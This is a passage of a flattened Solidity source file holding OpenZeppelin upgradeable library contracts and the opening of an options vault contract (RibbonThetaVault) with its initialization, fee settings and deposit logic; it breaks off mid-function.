function signerNonceStatus(address, uint256) external view returns (bytes1);
function signerMinimumNonce(address) external view returns (uint256);
function registry() external view returns (address);
}
interface OtokenInterface {
function addressBook() external view returns (address);
function underlyingAsset() external view returns (address);
function strikeAsset() external view returns (address);
function collateralAsset() external view returns (address);
function strikePrice() external view returns (uint256);
function expiryTimestamp() external view returns (uint256);
function isPut() external view returns (bool);
function init(
address _addressBook,
address _underlyingAsset,
address _strikeAsset,
address _collateralAsset,
uint256 _strikePrice,
uint256 _expiry,
bool _isPut
) external;
function mintOtoken(address account, uint256 amount) external;
function burnOtoken(address account, uint256 amount) external;
}
//
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
// solhint-disable-next-line compiler-version
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable {
using SafeMathUpgradeable for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
contract OptionsVaultStorageV1 is
ReentrancyGuardUpgradeable,
OwnableUpgradeable,
ERC20Upgradeable
{
// DEPRECATED: This variable was originally used to store the asset address we are using as collateral
// But due to gas optimization and upgradeability security concerns,
// we removed it in favor of using immutable variables
// This variable is left here to hold the storage slot for upgrades
address private _oldAsset;
// Privileged role that is able to select the option terms (strike price, expiry) to short
address public manager;
// Option that the vault is shorting in the next cycle
address public nextOption;
// The timestamp when the `nextOption` can be used by the vault
uint256 public nextOptionReadyAt;
// Option that the vault is currently shorting
address public currentOption;
// Amount that is currently locked for selling options
uint256 public lockedAmount;
// Cap for total amount deposited into vault
uint256 public cap;
// Fee incurred when withdrawing out of the vault, in the units of 10**18
// where 1 ether = 100%, so 0.005 means 0.5% fee
uint256 public instantWithdrawalFee;
// Recipient for withdrawal fees
address public feeRecipient;
}
contract OptionsVaultStorage is OptionsVaultStorageV1 {
}
//
contract RibbonThetaVault is DSMath, OptionsVaultStorage {
using ProtocolAdapter for IProtocolAdapter;
using SafeERC20 for IERC20;
using SafeMath for uint256;
string private constant _adapterName = "OPYN_GAMMA";
IProtocolAdapter public immutable adapter;
address public immutable asset;
address public immutable underlying;
address public immutable WETH;
address public immutable USDC;
bool public immutable isPut;
uint8 private immutable _decimals;
// AirSwap Swap contract
// https://github.com/airswap/airswap-protocols/blob/master/source/swap/contracts/interfaces/ISwap.sol
ISwap public immutable SWAP_CONTRACT;
// 90% locked in options protocol, 10% of the pool reserved for withdrawals
uint256 public constant lockedRatio = 0.9 ether;
uint256 public constant delay = 1 hours;
uint256 public immutable MINIMUM_SUPPLY;
event ManagerChanged(address oldManager, address newManager);
event Deposit(address indexed account, uint256 amount, uint256 share);
event Withdraw(
address indexed account,
uint256 amount,
uint256 share,
uint256 fee
);
event OpenShort(
address indexed options,
uint256 depositAmount,
address manager
);
event CloseShort(
address indexed options,
uint256 withdrawAmount,
address manager
);
event WithdrawalFeeSet(uint256 oldFee, uint256 newFee);
event CapSet(uint256 oldCap, uint256 newCap, address manager);
/**
* @notice Initializes the contract with immutable variables
* @param _asset is the asset used for collateral and premiums
* @param _weth is the Wrapped Ether contract
* @param _usdc is the USDC contract
* @param _swapContract is the Airswap Swap contract
* @param _tokenDecimals is the decimals for the vault shares. Must match the decimals for _asset.
* @param _minimumSupply is the minimum supply for the asset balance and the share supply.
* It's important to bake the _factory variable into the contract with the constructor
* If we do it in the `initialize` function, users get to set the factory variable and
* subsequently the adapter, which allows them to make a delegatecall, then selfdestruct the contract.
*/
constructor(
address _asset,
address _factory,
address _weth,
address _usdc,
address _swapContract,
uint8 _tokenDecimals,
uint256 _minimumSupply,
bool _isPut
) {
require(_asset != address(0), "!_asset");
require(_factory != address(0), "!_factory");
require(_weth != address(0), "!_weth");
require(_usdc != address(0), "!_usdc");
require(_swapContract != address(0), "!_swapContract");
require(_tokenDecimals > 0, "!_tokenDecimals");
require(_minimumSupply > 0, "!_minimumSupply");
IRibbonFactory factoryInstance = IRibbonFactory(_factory);
address adapterAddr = factoryInstance.getAdapter(_adapterName);
require(adapterAddr != address(0), "Adapter not set");
asset = _isPut ? _usdc : _asset;
underlying = _asset;
adapter = IProtocolAdapter(adapterAddr);
WETH = _weth;
USDC = _usdc;
SWAP_CONTRACT = ISwap(_swapContract);
_decimals = _tokenDecimals;
MINIMUM_SUPPLY = _minimumSupply;
isPut = _isPut;
}
/**
* @notice Initializes the OptionVault contract with storage variables.
* @param _owner is the owner of the contract who can set the manager
* @param _feeRecipient is the recipient address for withdrawal fees.
* @param _initCap is the initial vault's cap on deposits, the manager can increase this as necessary.
* @param _tokenName is the name of the vault share token
* @param _tokenSymbol is the symbol of the vault share token
*/
function initialize(
address _owner,
address _feeRecipient,
uint256 _initCap,
string calldata _tokenName,
string calldata _tokenSymbol
) external initializer {
require(_owner != address(0), "!_owner");
require(_feeRecipient != address(0), "!_feeRecipient");
require(_initCap > 0, "_initCap > 0");
require(bytes(_tokenName).length > 0, "_tokenName != 0x");
require(bytes(_tokenSymbol).length > 0, "_tokenSymbol != 0x");
__ReentrancyGuard_init();
__ERC20_init(_tokenName, _tokenSymbol);
__Ownable_init();
transferOwnership(_owner);
cap = _initCap;
// hardcode the initial withdrawal fee
instantWithdrawalFee = 0.005 ether;
feeRecipient = _feeRecipient;
}
/**
* @notice Sets the new manager of the vault.
* @param newManager is the new manager of the vault
*/
function setManager(address newManager) external onlyOwner {
require(newManager != address(0), "!newManager");
address oldManager = manager;
manager = newManager;
emit ManagerChanged(oldManager, newManager);
}
/**
* @notice Sets the new fee recipient
* @param newFeeRecipient is the address of the new fee recipient
*/
function setFeeRecipient(address newFeeRecipient) external onlyOwner {
require(newFeeRecipient != address(0), "!newFeeRecipient");
feeRecipient = newFeeRecipient;
}
/**
* @notice Sets the new withdrawal fee
* @param newWithdrawalFee is the fee paid in tokens when withdrawing
*/
function setWithdrawalFee(uint256 newWithdrawalFee) external onlyManager {
require(newWithdrawalFee > 0, "withdrawalFee != 0");
// cap max withdrawal fees to 30% of the withdrawal amount
require(newWithdrawalFee < 0.3 ether, "withdrawalFee >= 30%");
uint256 oldFee = instantWithdrawalFee;
emit WithdrawalFeeSet(oldFee, newWithdrawalFee);
instantWithdrawalFee = newWithdrawalFee;
}
/**
* @notice Deposits ETH into the contract and mint vault shares. Reverts if the underlying is not WETH.
*/
function depositETH() external payable nonReentrant {
require(asset == WETH, "asset is not WETH");
require(msg.value > 0, "No value passed");
IWETH(WETH).deposit{value: msg.value}();
_deposit(msg.value);
}
/**
* @notice Deposits the `asset` into the contract and mint vault shares.
* @param amount is the amount of `asset` to deposit
*/
function deposit(uint256 amount) external nonReentrant {
IERC20(asset).safeTransferFrom(msg.sender, address(this), amount);
_deposit(amount);
}
/**
* @notice Mints the vault shares to the msg.sender
* @param amount is the amount of `asset` deposited
*/
function _deposit(uint256 amount) private {
uint256 totalWithDepositedAmount = totalBalance();
require(totalWithDepositedAmount < cap, "Cap exceeded");
require(
totalWithDepositedAmount >= MINIMUM_SUPPLY,
"Insufficient asset balance"
);
// amount needs to be subtracted from totalBalance because it has already been
// added to it from either IWETH.deposit and IERC20.safeTransferFrom
uint256 total = totalWithDepositedAmount.sub(amount);
uint256 shareSupply = totalSupply();
// Following the pool share calculation from Alpha Homora:
// solhint-disable-next-line
// https://github.com/AlphaFinanceLab/alphahomora/blob/340653c8ac1e9b4f23d5b81e61307bf7d02a26e8/contracts/5/Bank.sol#L104
uint256 share =
shareSupply == 0 ? amount : amount.mul(shareSupply).div(total);
require(
shareSupply.add(share) >= MINIMUM_SUPPLY,
"Insufficient share supply"
);
emit Deposit(msg.sender, amount, share);
_mint(msg.sender, share);
}
/**
* @notice Withdraws ETH from vault using vault shares
* @param share is the number of vault shares to be burned
*/
function withdrawETH(uint256 share) external nonReentrant {
require(asset == WETH, "!WETH");
